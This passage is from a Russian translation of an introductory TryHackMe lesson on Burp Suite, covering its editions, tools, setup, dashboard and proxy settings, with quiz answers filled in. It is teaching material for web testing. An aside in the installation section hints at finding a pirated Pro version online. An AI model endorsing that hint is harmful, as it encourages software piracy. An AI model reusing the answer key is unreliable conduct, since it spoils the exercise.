    &lt;li id=&quot;4cQB&quot;&gt;Навигация и настройка Burp Suite .&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;1bWb&quot;&gt;Мы также представим ядро ​​фреймворка Burp Suite — Burp Proxy . Важно отметить, что этот раздел в первую очередь служит базовым ресурсом для получения знаний о Burp Suite . В последующих разделах модуля Burp будет использоваться более практический подход. Таким образом, в этом разделе будет больше внимания уделено теоретическому содержанию. Если вы еще не использовали Burp Suite , рекомендуется внимательно прочитать предоставленную информацию и активно взаимодействовать с инструментом. Экспериментирование необходимо для понимания основ этого фреймворка. Сочетание представленной здесь информации с практическим изучением заложит прочную основу для использования фреймворка. Это значительно поможет вам в будущих разделах.&lt;/p&gt;
  &lt;h2 id=&quot;fkGx&quot;&gt;&lt;strong&gt;2. Что такое Burp Suite?&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;83at&quot;&gt;По сути, Burp Suite — это Java-фреймворк, разработанный как комплексное решение для проведения тестирования веб-приложений на проникновение. Он стал отраслевым стандартом для практической оценки безопасности веб- и мобильных приложений, включая те, которые используют интерфейсы &lt;strong&gt;прикладного программирования (&lt;/strong&gt; API &lt;strong&gt;)&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;qf5K&quot;&gt;Проще говоря, Burp Suite перехватывает и позволяет манипулировать всем HTTP /HTTPS-трафиком между браузером и веб-сервером. Эта фундаментальная возможность составляет основу фреймворка. Перехватывая запросы, пользователи получают возможность направлять их к различным компонентам фреймворка Burp Suite , которые мы рассмотрим в следующих разделах. Возможность перехватывать, просматривать и изменять веб-запросы до того, как они достигнут целевого сервера, или даже манипулировать ответами до того, как они будут получены нашим браузером, делает Burp Suite бесценным инструментом для ручного тестирования веб-приложений.&lt;/p&gt;
  &lt;p id=&quot;qJbo&quot;&gt;Burp Suite доступен в различных редакциях. В данном случае мы сосредоточимся на &lt;strong&gt;Burp Suite Community Edition&lt;/strong&gt; , которая находится в свободном доступе для некоммерческого использования в рамках правовых норм. Однако стоит отметить, что Burp Suite также предлагает редакции Professional и Enterprise, которые обладают расширенными функциями и требуют лицензирования:&lt;/p&gt;
  &lt;ol id=&quot;qV6t&quot;&gt;
    &lt;li id=&quot;ycep&quot;&gt;&lt;strong&gt;Burp Suite Professional&lt;/strong&gt; — это версия Burp Suite Community без ограничений. Она включает в себя такие функции, как:&lt;br /&gt;Вкратце, Burp Suite Professional — это очень мощный инструмент, что делает его предпочтительным выбором для профессионалов в этой области.&lt;/li&gt;
    &lt;ul id=&quot;0DLq&quot;&gt;
      &lt;li id=&quot;joSO&quot;&gt;Автоматизированный сканер уязвимостей.&lt;/li&gt;
      &lt;li id=&quot;RpWh&quot;&gt;Фаззер/метод перебора, не имеющий ограничений по количеству запросов.&lt;/li&gt;
      &lt;li id=&quot;mpyf&quot;&gt;Сохранение проектов для дальнейшего использования и создания отчетов.&lt;/li&gt;
      &lt;li id=&quot;X20G&quot;&gt;Встроенный API для интеграции с другими инструментами.&lt;/li&gt;
      &lt;li id=&quot;v0bU&quot;&gt;Неограниченный доступ для добавления новых расширений для расширения функциональности.&lt;/li&gt;
      &lt;li id=&quot;WpkF&quot;&gt;Доступ к Burp Suite Collaborator (фактически, это уникальный обработчик запросов, размещенный на собственном сервере или работающий на сервере, принадлежащем Portswigger).&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;c0db&quot;&gt;&lt;strong&gt;В отличие от версий Community и Professional, Burp Suite Enterprise&lt;/strong&gt; в основном используется для непрерывного сканирования. Он включает в себя автоматический сканер, который периодически проверяет веб-приложения на наличие уязвимостей, подобно тому, как такие инструменты, как Nessus, выполняют автоматическое сканирование инфраструктуры. В отличие от других версий, которые позволяют проводить атаки вручную с локального компьютера, Burp Suite Enterprise размещается на сервере и постоянно сканирует целевые веб-приложения на наличие потенциальных уязвимостей.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;Lxju&quot;&gt;Поскольку для версий Professional и Enterprise требуется лицензия, мы сосредоточимся на основных функциях, предоставляемых версией Burp Suite Community Edition.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;4AbQ&quot;&gt;Вопрос: Какая версия Burp Suite работает на сервере и обеспечивает постоянное сканирование целевых веб-приложений?&lt;/p&gt;
    &lt;p id=&quot;rvhE&quot;&gt;Ответ: &lt;strong&gt;Burp Suite Enterprise&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;SAAu&quot;&gt;Вопрос: Burp Suite часто используется для атак на веб-приложения и ______ приложения.&lt;/p&gt;
    &lt;p id=&quot;SMkQ&quot;&gt;Ответ: Mobile&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;goCh&quot;&gt;&lt;strong&gt;3. Особенности сообщества Burp&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;Tf6h&quot;&gt;Хотя Burp Suite Community предлагает более ограниченный набор функций по сравнению с профессиональной версией, он по-прежнему предоставляет впечатляющий набор инструментов, которые очень ценны для тестирования веб-приложений. Давайте рассмотрим некоторые из ключевых функций:&lt;/p&gt;
  &lt;ul id=&quot;KLhm&quot;&gt;
    &lt;li id=&quot;4183&quot;&gt;&lt;strong&gt;Прокси&lt;/strong&gt; : Burp Proxy — наиболее известная составляющая Burp Suite . Он позволяет перехватывать и изменять запросы и ответы при взаимодействии с веб-приложениями.&lt;/li&gt;
    &lt;li id=&quot;d1DQ&quot;&gt;&lt;strong&gt;Repeater&lt;/strong&gt; : Еще одна хорошо известная функция.  &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot; target=&quot;_blank&quot;&gt;Repeater&lt;/a&gt; позволяет перехватывать, изменять и повторно отправлять один и тот же запрос несколько раз. Эта функциональность особенно полезна при создании полезных нагрузок методом проб и ошибок (например, при SQLi — внедрении структурированных запросов) или при тестировании функциональности конечной точки на наличие уязвимостей.&lt;/li&gt;
    &lt;li id=&quot;bcVz&quot;&gt;&lt;strong&gt;Intruder&lt;/strong&gt; : Несмотря на ограничения скорости запросов в Burp Suite Community, &lt;a href=&quot;https://tryhackme.com/room/burpsuiteintruder&quot; target=&quot;_blank&quot;&gt;Intruder&lt;/a&gt; позволяет рассылать запросы на конечные точки. Он часто используется для атак методом перебора паролей или фаззинга конечных точек.&lt;/li&gt;
    &lt;li id=&quot;koxO&quot;&gt;&lt;strong&gt;Декодер&lt;/strong&gt; : &lt;a href=&quot;https://tryhackme.com/room/burpsuiteom&quot; target=&quot;_blank&quot;&gt;Декодер&lt;/a&gt; предоставляет ценную услугу по преобразованию данных. Он может декодировать захваченную информацию или кодировать полезные нагрузки перед отправкой их целевому объекту. Хотя для этой цели существуют альтернативные сервисы, использование декодера в составе Burp Suite может быть очень эффективным.&lt;/li&gt;
    &lt;li id=&quot;HYsj&quot;&gt;&lt;strong&gt;Comparer&lt;/strong&gt; : Как следует из названия, &lt;a href=&quot;https://tryhackme.com/room/burpsuiteom&quot; target=&quot;_blank&quot;&gt;Comparer&lt;/a&gt; позволяет сравнивать два фрагмента данных на уровне слов или байтов. Хотя это не является эксклюзивной функцией Burp Suite , возможность отправлять потенциально большие сегменты данных непосредственно в инструмент сравнения с помощью одной комбинации клавиш значительно ускоряет процесс.&lt;/li&gt;
    &lt;li id=&quot;3TAs&quot;&gt;&lt;strong&gt;Секвенсор&lt;/strong&gt; : &lt;a href=&quot;https://tryhackme.com/room/burpsuiteom&quot; target=&quot;_blank&quot;&gt;Секвенсор&lt;/a&gt; обычно используется для оценки случайности токенов, таких как значения сессионных cookie или другие предположительно сгенерированные случайным образом данные. Если алгоритм, используемый для генерации этих значений, не обеспечивает надежную случайность, это может открыть пути для разрушительных атак.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;MVTg&quot;&gt;Помимо встроенных функций, Java-код Burp Suite упрощает разработку расширений для расширения функциональности фреймворка. Эти расширения могут быть написаны на Java, Python (с использованием интерпретатора Java Jython) или Ruby (с использованием интерпретатора Java JRuby). Модуль &lt;strong&gt;Burp Suite Extender&lt;/strong&gt; позволяет быстро и легко загружать расширения во фреймворк, а магазин приложений &lt;strong&gt;BApp Store&lt;/strong&gt; позволяет загружать модули сторонних разработчиков. Хотя для интеграции некоторых расширений может потребоваться профессиональная лицензия, для Burp Community доступно значительное количество расширений. Например, модуль &lt;strong&gt;Logger++&lt;/strong&gt; может расширить встроенную функциональность логирования Burp Suite .&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ddrN&quot;&gt;Вопрос: Какая функция Burp Suite позволяет перехватывать запросы между нами и целевым объектом?&lt;/p&gt;
    &lt;p id=&quot;TJoC&quot;&gt;Ответ: Proxy&lt;/p&gt;
    &lt;p id=&quot;qUNa&quot;&gt;Вопрос: Какой инструмент Burp мы бы использовали для подбора паролей к форме авторизации методом перебора?&lt;/p&gt;
    &lt;p id=&quot;OsdZ&quot;&gt;Ответ: Intruder&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;6AQe&quot;&gt;&lt;strong&gt;4. Установка&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;em&gt;&lt;u&gt;(в кали она уже есть, но можно и поискать pro версию по сети (очень легко))&lt;/u&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;9KkN&quot;&gt;Burp Suite — это один из тех инструментов, которые очень полезны для оценки веб- или мобильных приложений, пентестинга, поиска уязвимостей и даже отладки функций в веб-разработке. Вот руководство по установке Burp Suite на разных платформах:&lt;/p&gt;
  &lt;p id=&quot;41XM&quot;&gt;&lt;strong&gt;Примечание:&lt;/strong&gt; Если вы используете AttackBox, Burp Suite уже установлен, поэтому этот шаг можно пропустить.&lt;/p&gt;
  &lt;h4 id=&quot;oplj&quot;&gt;Загрузки&lt;/h4&gt;
  &lt;p id=&quot;yC1N&quot;&gt;Чтобы загрузить последнюю версию Burp Suite для других систем, вы можете нажать эту &lt;a href=&quot;https://portswigger.net/burp/releases/&quot; target=&quot;_blank&quot;&gt;кнопку&lt;/a&gt; , чтобы перейти на страницу загрузки.&lt;/p&gt;
  &lt;p id=&quot;hjfg&quot;&gt;&lt;strong&gt;Kali Linux : &lt;/strong&gt;Burp Suite предустановлен в Kali Linux . Если он отсутствует в вашей установке Kali, вы можете легко установить его из репозиториев apt Kali .&lt;/p&gt;
  &lt;p id=&quot;td8B&quot;&gt;&lt;strong&gt;Linux , macOS и Windows:&lt;/strong&gt; Для других операционных систем PortSwigger предоставляет отдельные установщики для Burp Suite Community и Burp Suite Professional на странице загрузок Burp Suite . Выберите свою операционную систему из выпадающего меню и выберите&lt;strong&gt; Burp Suite Community Edition&lt;/strong&gt; . Затем нажмите&lt;strong&gt; кнопку «Загрузить»&lt;/strong&gt; , чтобы начать загрузку.&lt;/p&gt;
  &lt;figure id=&quot;nupK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/cf27fb99c50eb3c2784212d4f56a7b82.png&quot; width=&quot;1208&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;VKx0&quot;&gt;Установка&lt;/h4&gt;
  &lt;p id=&quot;8LSD&quot;&gt;Установите Burp Suite , используя соответствующий метод для вашей операционной системы. В Windows запустите исполняемый файл, а в Linux — выполните скрипт из терминала (с правами суперпользователя или без них). Если вы решите не использовать права суперпользователя &lt;code&gt;sudo&lt;/code&gt;во время установки в Linux, Burp Suite будет установлен в ваш домашний каталог по адресу &lt;code&gt;~/BurpSuiteCommunity/BurpSuiteCommunity&lt;/code&gt;и не будет добавлен в вашу папку &lt;code&gt;PATH&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;fHOW&quot;&gt;Мастер установки предоставляет четкие инструкции, и, как правило, безопасно принять настройки по умолчанию. Однако всегда рекомендуется внимательно изучить установщик.&lt;/p&gt;
  &lt;p id=&quot;So90&quot;&gt;После успешной установки Burp Suite вы можете запустить приложение. В следующем задании мы рассмотрим начальную настройку и конфигурацию.&lt;/p&gt;
  &lt;h2 id=&quot;RAsh&quot;&gt;&lt;strong&gt;5. Панель управления&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;Xki5&quot;&gt;В AttackBox можно использовать предустановленную версию Burp Suite Community Edition. Чтобы запустить AttackBox, нажмите кнопку &lt;strong&gt;«Запустить AttackBox»&lt;/strong&gt; в верхней части этой страницы.&lt;/p&gt;
  &lt;p id=&quot;dOLf&quot;&gt;После запуска Burp Suite и принятия условий использования вам будет предложено выбрать тип проекта. В Burp Suite Community выбор ограничен, и вы можете просто нажать &lt;strong&gt;«Далее»&lt;/strong&gt; , чтобы продолжить.&lt;/p&gt;
  &lt;p id=&quot;qpZt&quot;&gt;В следующем окне вы можете выбрать конфигурацию Burp Suite. Как правило, рекомендуется оставить настройки по умолчанию, которые подходят для большинства ситуаций. Нажмите &lt;strong&gt;«Запустить Burp»&lt;/strong&gt;  , чтобы открыть главный интерфейс Burp Suite .&lt;/p&gt;
  &lt;p id=&quot;jXXk&quot;&gt;При первом запуске Burp Suite вы можете увидеть экран с вариантами обучения. Настоятельно рекомендуется ознакомиться с этими обучающими материалами, когда у вас будет время.&lt;/p&gt;
  &lt;p id=&quot;jTjo&quot;&gt;Если вы не видите обучающий экран (или в последующих сессиях), вам будет показана панель управления Burp, которая поначалу может показаться сложной. Однако вскоре вы к ней привыкнете.&lt;/p&gt;
  &lt;p id=&quot;a0We&quot;&gt;Панель управления Burp разделена на четыре квадранта, обозначенных против часовой стрелки, начиная с верхнего левого угла:&lt;/p&gt;
  &lt;figure id=&quot;363N&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/11202e4c73faa30a757f1439b63b85c6.png&quot; width=&quot;1132&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;dnmS&quot;&gt;
    &lt;li id=&quot;YOcy&quot;&gt;&lt;strong&gt;Задачи&lt;/strong&gt; : Меню «Задачи» позволяет определять фоновые задачи, которые Burp Suite будет выполнять во время использования приложения. В Burp Suite Community для наших целей в этом модуле достаточно задачи «Пассивное сканирование в реальном времени», которая автоматически регистрирует посещенные страницы. Burp Suite Professional предлагает дополнительные функции, такие как сканирование по запросу.&lt;/li&gt;
    &lt;li id=&quot;hvto&quot;&gt;&lt;strong&gt;Журнал событий&lt;/strong&gt; : Журнал событий содержит информацию о действиях, выполняемых Burp Suite , таких как запуск прокси-сервера , а также подробные сведения о соединениях, установленных через Burp.&lt;/li&gt;
    &lt;li id=&quot;Y3fv&quot;&gt;&lt;strong&gt;Информация об уязвимостях&lt;/strong&gt; : Этот раздел относится к Burp Suite Professional. В нем отображаются уязвимости, выявленные автоматическим сканером, ранжированные по степени серьезности и с возможностью фильтрации в зависимости от достоверности обнаружения уязвимости.&lt;/li&gt;
    &lt;li id=&quot;LSlO&quot;&gt;&lt;strong&gt;Консультативное сообщение&lt;/strong&gt; : Раздел «Консультативное сообщение» содержит более подробную информацию об обнаруженных уязвимостях, включая ссылки и предлагаемые способы их устранения. Эту информацию можно экспортировать в отчет. В Burp Suite Community этот раздел может не отображать никаких уязвимостей.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;S9FI&quot;&gt;На всех вкладках и в окнах Burp Suite вы заметите значки вопросительного знака (&lt;/p&gt;
  &lt;figure id=&quot;8bgd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/93d5f88c31c7e99d65fda7425a572406.png&quot; width=&quot;30&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;qKLj&quot;&gt;).&lt;/p&gt;
  &lt;p id=&quot;hF1k&quot;&gt;Нажатие на эти значки открывает новое окно с полезной информацией, относящейся к данному разделу. Эти значки справки бесценны, когда вам нужна помощь или разъяснение по той или иной функции, поэтому обязательно используйте их эффективно.&lt;/p&gt;
  &lt;figure id=&quot;Sum9&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/a68c56aa12934f1fa68758f086a0df3a.png&quot; width=&quot;1032&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6eqq&quot;&gt;Изучая различные вкладки и функции Burp Suite , вы постепенно освоите его возможности.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;NyLr&quot;&gt;Вопрос: Какое меню предоставляет информацию о действиях, выполняемых Burp Suite, таких как запуск прокси-сервера, и подробные сведения о соединениях, установленных через Burp?&lt;/p&gt;
    &lt;p id=&quot;eOGs&quot;&gt;Ответ: &lt;strong&gt;Event log&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;ztkO&quot;&gt;&lt;strong&gt;6. Навигация&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;lBtD&quot;&gt;В Burp Suite навигация по умолчанию осуществляется в основном через верхние панели меню, которые позволяют переключаться между модулями и получать доступ к различным подвкладкам внутри каждого модуля. Подвкладки отображаются во второй панели меню, расположенной непосредственно под основной панелью меню.&lt;/p&gt;
  &lt;p id=&quot;xmpb&quot;&gt;Вот как работает навигация:&lt;/p&gt;
  &lt;ol id=&quot;2TfL&quot;&gt;
    &lt;li id=&quot;2TnH&quot;&gt;&lt;strong&gt;Выбор модуля&lt;/strong&gt; : В верхней строке панели меню отображаются доступные модули Burp Suite . Вы можете щелкнуть по каждому модулю, чтобы переключаться между ними. Например, на изображении ниже выбран модуль Burp Proxy .&lt;/li&gt;
    &lt;li id=&quot;CYdN&quot;&gt;&lt;strong&gt;Вложенные вкладки&lt;/strong&gt; : Если выбранный модуль имеет несколько вложенных вкладок, доступ к ним можно получить через вторую строку меню, которая появляется непосредственно под основной строкой меню. Эти вложенные вкладки часто содержат настройки и параметры, специфичные для модуля. Например, на изображении выше выбрана вкладка «Перехват прокси» в модуле Burp Proxy .&lt;/li&gt;
    &lt;li id=&quot;r8VB&quot;&gt;&lt;strong&gt;Отсоединение вкладок&lt;/strong&gt; : Если вы предпочитаете просматривать несколько вкладок по отдельности, вы можете отсоединить их в отдельные окна. Для этого перейдите в меню приложения над панелью &lt;strong&gt;выбора модулей , выберите пункт « Окно&lt;/strong&gt; ». Затем выберите опцию «Отсоединить», и выбранная вкладка откроется в отдельном окне. Отсоединенные вкладки можно снова соединить тем же способом.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;DINM&quot;&gt;Burp Suite также предоставляет сочетания клавиш для быстрой навигации по вкладкам. По умолчанию доступны следующие сочетания клавиш:&lt;/p&gt;
  &lt;figure id=&quot;08EB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/35/4e354ffd-4077-4824-92ee-46522e73cb7a.png&quot; width=&quot;1124&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iu6C&quot;&gt;Вопрос: На какую вкладку переключится комбинация&lt;strong&gt; клавиш Ctrl + Shift + P ?&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;OHrP&quot;&gt;Ответ: Proxy tab&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;qHEN&quot;&gt;&lt;strong&gt;7. Параметры&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;M6Fh&quot;&gt;Прежде чем углубиться в Burp Proxy , давайте рассмотрим доступные параметры настройки Burp Suite . Существует два типа настроек: глобальные настройки (также известные как пользовательские настройки) и настройки проекта.&lt;/p&gt;
  &lt;ul id=&quot;O8YD&quot;&gt;
    &lt;li id=&quot;3bic&quot;&gt;&lt;strong&gt;Глобальные настройки&lt;/strong&gt; : Эти настройки влияют на всю установку Burp Suite и применяются каждый раз при запуске приложения. Они обеспечивают базовую конфигурацию для вашей среды Burp Suite .&lt;/li&gt;
    &lt;li id=&quot;ivgd&quot;&gt;&lt;strong&gt;Настройки проекта&lt;/strong&gt; : Эти настройки относятся к текущему проекту и применяются только во время сеанса. Однако обратите внимание, что Burp Suite Community Edition не поддерживает сохранение проектов, поэтому все параметры, относящиеся к конкретному проекту, будут потеряны при закрытии Burp.Чтобы получить доступ к настройкам, нажмите кнопку &lt;strong&gt;«Настройки»&lt;/strong&gt; в верхней панели навигации. Откроется отдельное окно настроек.Ниже представлено изображение, демонстрирующее отдельное окно настроек.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;2vuX&quot;&gt;В окне настроек слева вы найдете меню. Это меню позволяет переключаться между различными типами настроек, включая:&lt;/p&gt;
  &lt;ol id=&quot;Cf9M&quot;&gt;
    &lt;li id=&quot;CPIP&quot;&gt;&lt;strong&gt;Поиск&lt;/strong&gt; : Позволяет искать определенные настройки по ключевым словам.&lt;/li&gt;
    &lt;li id=&quot;k59f&quot;&gt;&lt;strong&gt;Фильтр по типу&lt;/strong&gt; : фильтрует настройки параметров &lt;strong&gt;пользователя&lt;/strong&gt; и &lt;strong&gt;проекта&lt;/strong&gt;  .&lt;/li&gt;
    &lt;ul id=&quot;jvUg&quot;&gt;
      &lt;li id=&quot;IWPA&quot;&gt;&lt;strong&gt;Пользовательские настройки&lt;/strong&gt; : Отображает настройки, влияющие на всю установку Burp Suite .&lt;/li&gt;
      &lt;li id=&quot;ZXac&quot;&gt;&lt;strong&gt;Настройки проекта&lt;/strong&gt; : Отображает настройки, специфичные для текущего проекта.&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;Nh9r&quot;&gt;&lt;strong&gt;Категории&lt;/strong&gt; : Позволяет выбирать настройки по категориям.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;figure id=&quot;Ny6b&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/04cf1a4164616772d9495a3ee2bfd10a.png&quot; width=&quot;1253&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;o2T7&quot;&gt;Стоит отметить, что многие инструменты в Burp Suite предоставляют ярлыки для доступа к определенным категориям настроек. Например, модуль &lt;strong&gt;«Прокси» &lt;/strong&gt;включает кнопку « &lt;strong&gt;Настройки прокси»&lt;/strong&gt; , которая открывает окно настроек непосредственно в соответствующем разделе прокси .&lt;/p&gt;
  &lt;figure id=&quot;XrGx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/09211709d4034aa42ce403780ca12ba0.png&quot; width=&quot;487&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Sa9y&quot;&gt;Функция поиска на странице настроек — ценное дополнение, позволяющее быстро находить нужные настройки по ключевым словам.&lt;/p&gt;
  &lt;p id=&quot;A5wu&quot;&gt;Уделите время ознакомлению с набором настраиваемых параметров в Burp Suite . Как только вы освоитесь, можете приступить к упражнениям, связанным с настройкой параметров Burp Suite .&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DvjV&quot;&gt;Вопрос: В какой категории можно найти упоминание о «банке для печенья»?&lt;/p&gt;
    &lt;p id=&quot;vinv&quot;&gt;Ответ: &lt;strong&gt;Sessions&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;0kAW&quot;&gt;Вопрос: В какой базовой категории находится подкатегория «Обновления», которая управляет процессом обновления Burp Suite?&lt;/p&gt;
    &lt;p id=&quot;9I96&quot;&gt;Ответ: &lt;strong&gt;Suite&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;K2If&quot;&gt;Вопрос: Как называется подкатегория, позволяющая изменять сочетания клавиш для быстрых команд в Burp Suite?&lt;/p&gt;
    &lt;p id=&quot;abXK&quot;&gt;Ответ: &lt;strong&gt;Hotkeys&lt;/strong&gt;&lt;/p&gt;
    &lt;p id=&quot;6umR&quot;&gt;Вопрос: Если мы загрузили клиентские TLS-сертификаты, можем ли мы переопределить их для каждого проекта отдельно (да/нет)?&lt;/p&gt;
    &lt;p id=&quot;qx8j&quot;&gt;Ответ: &lt;strong&gt;yea&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;NOtB&quot;&gt;&lt;strong&gt;8. Введение в Burp Proxy&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;M5mN&quot;&gt;Burp Proxy — это фундаментальный и важнейший инструмент в составе Burp Suite . Он позволяет перехватывать запросы и ответы между пользователем и целевым веб-сервером. Перехваченный трафик может быть обработан, отправлен другим инструментам для дальнейшей обработки или явно разрешен для дальнейшего продвижения к месту назначения.&lt;/p&gt;
  &lt;h4 id=&quot;wXTU&quot;&gt;Основные моменты, которые необходимо понимать о Burp Proxy.&lt;/h4&gt;
  &lt;ul id=&quot;l48n&quot;&gt;
    &lt;li id=&quot;U6EH&quot;&gt;&lt;strong&gt;Перехват запросов:&lt;/strong&gt; Когда запросы поступают через Burp Proxy , они перехватываются и не достигают целевого сервера. Запросы отображаются на вкладке «Прокси» , что позволяет выполнять дальнейшие действия, такие как переадресация, отбрасывание, редактирование или отправка их в другие модули Burp.  Чтобы отключить перехват и разрешить прохождение запросов через прокси без прерывания, нажмите кнопку. &lt;code&gt;Intercept is on&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;jHC0&quot;&gt;&lt;strong&gt;Получение контроля:&lt;/strong&gt; Возможность перехватывать запросы позволяет тестировщикам получить полный контроль над веб-трафиком, что делает ее бесценной для тестирования веб-приложений.&lt;/li&gt;
    &lt;li id=&quot;2XXt&quot;&gt;&lt;strong&gt;Захват и ведение журналов: &lt;/strong&gt;Burp Suite по умолчанию захватывает и регистрирует запросы, поступающие через прокси-сервер , даже если перехват отключен. Эта функция ведения журналов может быть полезна для последующего анализа и проверки предыдущих запросов.&lt;/li&gt;
    &lt;li id=&quot;JhXZ&quot;&gt;&lt;strong&gt;Поддержка WebSocket: &lt;/strong&gt;Burp Suite также перехватывает и регистрирует обмен данными по протоколу WebSocket, что оказывает дополнительную помощь при анализе веб-приложений.&lt;/li&gt;
    &lt;li id=&quot;J2Zh&quot;&gt;&lt;strong&gt;Журналы и история:&lt;/strong&gt; Захваченные запросы можно просмотреть на  вкладках « &lt;strong&gt;История HTTP»&lt;/strong&gt;  и &lt;strong&gt;«История WebSockets» , что позволяет проводить ретроспективный анализ и при необходимости отправлять запросы в другие модули Burp.&lt;/strong&gt;Доступ к параметрам прокси -сервера можно получить, нажав кнопку « &lt;strong&gt;Настройки прокси»&lt;/strong&gt; . Эти параметры обеспечивают расширенный контроль над поведением и функциональностью прокси-сервера . Ознакомьтесь с этими параметрами, чтобы оптимизировать использование Burp Proxy .&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h4 id=&quot;MsJd&quot;&gt;Некоторые важные особенности настроек прокси-сервера .&lt;/h4&gt;
  &lt;ul id=&quot;uP8r&quot;&gt;
    &lt;li id=&quot;Ht2W&quot;&gt;&lt;strong&gt;Перехват ответов:&lt;/strong&gt; По умолчанию прокси-сервер не перехватывает ответы сервера, если это явно не запрошено для каждого запроса отдельно. Флажок «Перехватывать ответы на основе следующих правил», наряду с определенными правилами, позволяет более гибко перехватывать ответы.&lt;/li&gt;
    &lt;li id=&quot;2iu1&quot;&gt;&lt;strong&gt;Функция « Сопоставление и замена»:&lt;/strong&gt; Раздел «Сопоставление и замена» в &lt;strong&gt;настройках прокси-сервера&lt;/strong&gt; позволяет использовать регулярные выражения (regex) для изменения входящих и исходящих запросов. Эта функция позволяет вносить динамические изменения, такие как изменение пользовательского агента или манипулирование файлами cookie.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;UTvF&quot;&gt;Уделите время изучению и экспериментированию с параметрами прокси-сервера , это улучшит ваше понимание и навыки работы с инструментом.&lt;/p&gt;
  &lt;h2 id=&quot;QfAD&quot;&gt;&lt;strong&gt;9. Подключение через прокси-сервер (FoxyProxy)&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;0Cfk&quot;&gt;Запустите устройство, нажав кнопку &lt;strong&gt;«Запустить устройство»&lt;/strong&gt; ниже.&lt;/p&gt;
  &lt;p id=&quot;TqTs&quot;&gt;Стартовая машина&lt;/p&gt;
  &lt;p id=&quot;yAkD&quot;&gt;Для использования прокси Burp Suite необходимо настроить локальный веб-браузер для перенаправления трафика через Burp Suite . В этом задании мы сосредоточимся на настройке прокси с помощью расширения FoxyProxy в Firefox.&lt;/p&gt;
  &lt;p id=&quot;P0IZ&quot;&gt;Обратите внимание, что приведенные инструкции относятся только к Firefox. Если вы используете другой браузер, вам может потребоваться найти альтернативные методы или воспользоваться инструментом TryHackMe AttackBox.&lt;/p&gt;
  &lt;p id=&quot;nCVC&quot;&gt;Вот шаги по настройке прокси-сервера Burp Suite с помощью FoxyProxy:&lt;/p&gt;
  &lt;ol id=&quot;6zgK&quot;&gt;
